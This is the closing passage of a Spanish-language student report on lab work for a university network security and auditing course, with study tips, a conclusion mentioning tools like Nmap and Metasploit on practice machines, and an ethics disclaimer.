contrasenas, etc.
Utilizar miltiples distribuciones y entornos de prueba: Combinar maquinas
vulnerables como Metasploitable, Lampido o FristiLeaks con sistemas como
Edubuntu, Windows XP o Kali Linux amplia la comprension de las diferentes

superficies de ataque y defensa.
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Comprobar siempre la conectividad y la configuracion de red antes de
comenzar: Muchos errores durante los laboratorios suelen estar relacionados con
adaptadores mal configurados, IPs incorrectas o falta de comunicacion entre
maquinas virtuales. Verificar esto antes de iniciar evita pérdida de tiempo.
Realizar practicas adicionales por fuera de clase: Repetir los laboratorios sin la
guia del docente fortalece la memoria operativa, mejora la comprension de los

comandos y desarrolla independencia técnica.
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Conclusion
El desarrollo de este tomo académico permiti6é consolidar los conocimientos impartidos
en la asignatura Seguridad y Auditoria de Redes durante el periodo 2025-1. A través de multiples
practicas en entornos virtualizados, se logréo comprender de manera integral el funcionamiento de
herramientas de analisis, enumeracion, explotacion y diagnostico de vulnerabilidades. Cada
laboratorio, desde el reconocimiento de servicios con Nmap hasta la explotacion de sistemas con
Metasploit o la revision de configuraciones inseguras, aportd a la formacion de competencias

reales en ciberseguridad ofensiva y defensiva.

El trabajo también evidencid la importancia de la disciplina, la documentacién adecuada
y la correcta configuracion de entornos de red, ya que gran parte de los problemas surgidos
durante el proceso se relacionaron con configuraciones incorrectas, instalaciones incompletas o
adaptadores de red mal gestionados. Estas dificultades, lejos de representar un obstaculo
negativo, se convirtieron en oportunidades valiosas para reforzar la practica, el razonamiento

logico y la capacidad de resolver incidentes técnicos.

En ultima instancia, este informe refleja el avance académico logrado y sirve como guia
de referencia para futuros ejercicios de auditoria, demostrando la relevancia de la ética, el
aprendizaje continuo y el dominio de herramientas técnicas dentro del campo de la seguridad

informatica.
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Todas las practicas descritas en este tomo fueron realizadas exclusivamente con fines
académicos, dentro de entornos controlados y autorizados. El conocimiento aqui presentado no
debe utilizarse para actividades ilicitas o no autorizadas. El propdsito de este trabajo es fortalecer

las competencias en seguridad informatica desde una perspectiva ética y responsable.

“La seguridad no es un producto; es un proceso continuo.” — Bruce Schneier
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